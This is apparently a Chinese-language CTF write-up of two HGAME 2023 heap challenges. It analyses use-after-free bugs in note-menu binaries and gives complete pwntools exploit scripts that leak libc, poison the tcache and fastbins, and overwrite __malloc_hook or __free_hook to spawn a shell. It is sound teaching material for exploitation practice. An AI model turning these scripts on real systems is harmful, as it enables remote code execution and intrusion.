new_fast_note
[HGAME 2023 week2]new_fast_note
准备

分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int n4; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); __isoc99_scanf("%d", &n4); if ( n4 == 4 ) exit(0); if ( n4 > 4 ) { LABEL_12: puts("Wrong choice!"); } else { switch ( n4 ) { case 3: show_note(); break; case 1: add_note(); break; case 2: delete_note(); break; default: goto LABEL_12; } } } }
|
就一个堆题正常的菜单,有增删查功能,依次查看
1-add_note(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 add_note() { unsigned int n0x13_1; // ebx unsigned int n0x13; // [rsp+0h] [rbp-20h] BYREF _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0x13); if ( n0x13 <= 0x13 ) { printf("Size: "); __isoc99_scanf("%u", size); if ( size[0] <= 0xFFu ) { n0x13_1 = n0x13; *((_QWORD *)¬es + n0x13_1) = malloc(size[0]); printf("Content: "); read(0, *((void **)¬es + n0x13), size[0]); } else { puts("Too big."); } } else { puts("There are only 20 pages in this notebook."); } return __readfsqword(0x28u) ^ *(_QWORD *)&size[1]; }
|
这里是添加堆块,限制了创建堆块的个数和大小
2-delete_note(delete)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 delete_note() { unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( *((_QWORD *)¬es + n0xF) ) free(*((void **)¬es + n0xF)); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ v2; }
|
这里释放后,没修改指针,存在UAF漏洞
3-show_note(show)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 show_note() { unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( *((_QWORD *)¬es + n0xF) ) puts(*((const char **)¬es + n0xF)); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ v2; }
|
正常的输出
思路
这题是libc-2.31,存在tcachebin,并且有UAF漏洞,可以想办法往malloc_hook中写入one_gadget,获得连接
1.我们可以通过填充满tcache bin,来达到释放大块进入unsorted bin的目的
2.然后通过UAF,获得libc基址,进而得到malloc__hook地址
3.最后因为没有edit函数,所以要进行double free,来使堆块链接到malloc_hook,写入one_gadget,获得连接
先通过循环添加和释放,填充满tcache bin(最多7个chunk),一个堆块进入unsorted bin中
这里有两种构造循环方法:
1.正序创建和释放,但为了防止最后一个chunk释放后被合并,我们创建时要多创建一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = "debug" # io=remote('pwn.challenge.ctf.show',28120) io= process('/home/motaly/vuln') elf=ELF('/home/motaly/vuln') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size,content): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index))
for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
|

2.正序创建,倒序释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = "debug" # io=remote('pwn.challenge.ctf.show',28120) io= process('/home/motaly/vuln') elf=ELF('/home/motaly/vuln') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size,content): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index))
for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
|

我们可以获取unsorted bin中的数值,而unsorted bin中的的数据在libc中,所以可以通过计算这个值与libc的差值,来获得libc基址

1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
|
因为2.31版本中有了对tcache bin的double free检测,所以我们只能在fast bin中进行double free,对tcache bin再次进行填充满,额外创建两个块(给后面进入fast bin进行double free),先释放填充tcache bin的块,在释放额外的块进行double free
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(7): #0-6 delete(i)
delete(8) delete(9) delete(8)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(6,-1,-1): #0-6 delete(i)
delete(8) delete(9) delete(8)
|

先通过循环读取tcache bin中0x70大小的堆块,在读取一块0x70大小的块,写入malloc_hook地址
(这里写入是直接写在malloc_hook中,所以不需要通过减0x23和偏移量来往malloc_hook中写入)
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x78,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(7): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(6,-1,-1): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
|
此时已成功把malloc_hook写到bins链中,之后我们在创建三个块,第三个的地址就是malloc_hook,所以在创建第三块的时候,写入数据one_gadget
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(7): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(6,-1,-1): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook)) gdb.attach(io) add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget))
|
验证

最后通过创建堆块,触发连接
(不过这里最后,不能写内容参数,所以我就一句句创建)
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(7): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget))
io.sendlineafter(b'>', b'1') io.sendlineafter(b'Index: ', b'11') io.sendlineafter(b'Size: ', b'68')
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(6,-1,-1): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget))
io.sendlineafter(b'>', b'1') io.sendlineafter(b'Index: ', b'11') io.sendlineafter(b'Size: ', b'68')
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context.log_level = "debug" # io=remote('pwn.challenge.ctf.show',28120) io= process('/home/motaly/vuln') elf=ELF('/home/motaly/vuln') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size,content): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index))
for i in range(9): #0-8 add(i,0x98,'aaaaaa')
for i in range(8): #0-7 delete(i)
show(7) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(7): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget))
io.sendlineafter(b'>', b'1') io.sendlineafter(b'Index: ', b'11') io.sendlineafter(b'Size: ', b'68')
io.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context.log_level = "debug" # io=remote('pwn.challenge.ctf.show',28120) io= process('/home/motaly/vuln') elf=ELF('/home/motaly/vuln') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size,content): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index))
for i in range(8): #0-7 add(i,0x98,'aaaaaa')
for i in range(7,-1,-1): #7-0 delete(i)
show(0) io.recv() libc_base=u64(io.recv(6)[-6:].ljust(8,b'\x00'))-0x1ecbe0 log.success('libc_base :'+hex(libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) one_gadget=libc_base+0xe3b01 log.success('one_gadget :'+hex(one_gadget))
for i in range(7): #0-6 add(i,0x68,'bbbbbb') add(8,0x68,'cccccc') add(9,0x68,'dddddd')
for i in range(6,-1,-1): #0-6 delete(i)
delete(8) delete(9) delete(8)
for i in range(7): #0-6 add(i, 0x68, b'000')
add(7,0x68,p64(malloc_hook))
add(8, 0x68, b'pppppp') add(9, 0x68, b'qqqqqq')
add(10,0x68,p64(one_gadget)) gdb.attach(io) io.sendlineafter(b'>', b'1') io.sendlineafter(b'Index: ', b'11') io.sendlineafter(b'Size: ', b'68')
io.interactive()
|
editable_note
[HGAME 2023 week2]editable_note
准备

分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); init(argc, argv, envp); while ( 1 ) { menu(); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 1: add_note(); break; case 2: delete_note(); break; case 3: edit_note(); break; case 4: show_note(); break; case 5: exit(0); default: puts("Wrong choice!"); break; } } }
|
就一个堆题正常的菜单,有增删改查功能,依次查看
1-add_note函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| unsigned __int64 add_note() { unsigned int n0xF_1; // ebx unsigned int n0xF; // [rsp+0h] [rbp-20h] BYREF _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( notes[n0xF] ) { printf("This page has been used."); } else { printf("Size: "); __isoc99_scanf("%u", size); if ( size[0] <= 0xFFu ) { n0xF_1 = n0xF; notes[n0xF_1] = malloc(size[0]); note_size[n0xF] = size[0]; } else { puts("Too big."); } } } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ *(_QWORD *)&size[1]; }
|
正常的创建,限制创建个数和大小
2-delete_note函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 delete_note() { unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( notes[n0xF] ) free((void *)notes[n0xF]); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ v2; }
|
释放后没有修改指针,存在UAF漏洞
3-edit_note函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned __int64 edit_note() { unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( notes[n0xF] ) { printf("Content: "); read(0, (void *)notes[n0xF], (unsigned int)note_size[n0xF]); } else { puts("Page not found."); } } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ v2; }
|
正常修改
4-show_note函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 show_note() { unsigned int n0xF; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &n0xF); if ( n0xF <= 0xF ) { if ( notes[n0xF] ) puts((const char *)notes[n0xF]); else puts("Page not found."); } else { puts("There are only 16 pages in this notebook."); } return __readfsqword(0x28u) ^ v2; }
|
输出
思路
这题是2.31版本,有tcachebin,存在UAF
所以直接通过UAF,改free_hook为system地址,最后释放带有’/bin/sh’内容的块
先构造填满tcachebin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level = "debug" io=remote('node5.anna.nssctf.cn',29183) # io= process('/home/motaly/note') elf=ELF('/home/motaly/note') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size))
def edit(index,content): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "4") io.sendlineafter("Index:", str(index))
for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i)
|
tcachebin最多存放7块
这里倒着释放是因为,正着释放有时候最后会合并出问题,所以这里倒着释放
留一个0块

释放0块,使其进入unsortedbin中,输出获得libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i) gdb.attach(io) delete(0)
show(0) io.recv() libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0 log.success("libc_base :"+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system']
|

有了libc基址后,我们就可以开始利用UAF,修改free_hook为system地址
这里先创建三个块8,9,10,我这里选用9块指向free_hook,10块存放’/bin/sh’,用作最后的释放,8块主要是后面在tcachebin中提取free_hook地址,需要两个块
(2.35版本限制,读取时不能负数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i)
delete(0)
show(0) io.recv() libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0 log.success("libc_base :"+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system']
add(8,0x20) #8 add(9,0x20) #9 add(10,0x20) #10
|
接着把8,9块释放,并修改9,10块内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i)
delete(0)
show(0) io.recv() libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0 log.success("libc_base :"+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system']
add(8,0x20) #8 add(9,0x20) #9 add(10,0x20) #10 delete(8) delete(9)
edit(10,'/bin/sh\x00') edit(9, p64(free_hook))
|

成功在bin中链接到了free_hook,并且因为8块,下面我们可以成功提取2个块
进行创建提取,并修改free_hook为system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i)
delete(0)
show(0) io.recv() libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0 log.success("libc_base :"+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system']
add(8,0x20) #8 add(9,0x20) #9 add(10,0x20) #10 delete(8) delete(9)
edit(10,'/bin/sh\x00') edit(9, p64(free_hook))
add(11,0x20) add(12,0x20) edit(12,p64(system))
|

最后删除10块,触发连接
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context.log_level = "debug" # io=remote('node5.anna.nssctf.cn',29183) io= process('/home/motaly/note') elf=ELF('/home/motaly/note') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
def add(index,size): io.sendlineafter(">", "1") io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(size))
def edit(index,content): io.sendlineafter(">", "3") io.sendlineafter("Index:", str(index)) io.sendlineafter("Content:", content)
def delete(index): io.sendlineafter(">", "2") io.sendlineafter("Index:", str(index))
def show(index): io.sendlineafter(">", "4") io.sendlineafter("Index:", str(index))
for i in range(8): #0-7 add(i,0x98)
for i in range(7): #7-1 delete(7-i)
delete(0)
show(0) io.recv() libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x1ecbe0 log.success("libc_base :"+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system']
add(8,0x20) #8 add(9,0x20) #9 add(10,0x20) #10 delete(8) delete(9)
edit(10,'/bin/sh\x00') edit(9, p64(free_hook))
add(11,0x20) add(12,0x20) edit(12,p64(system))
delete(10)
io.interactive()
|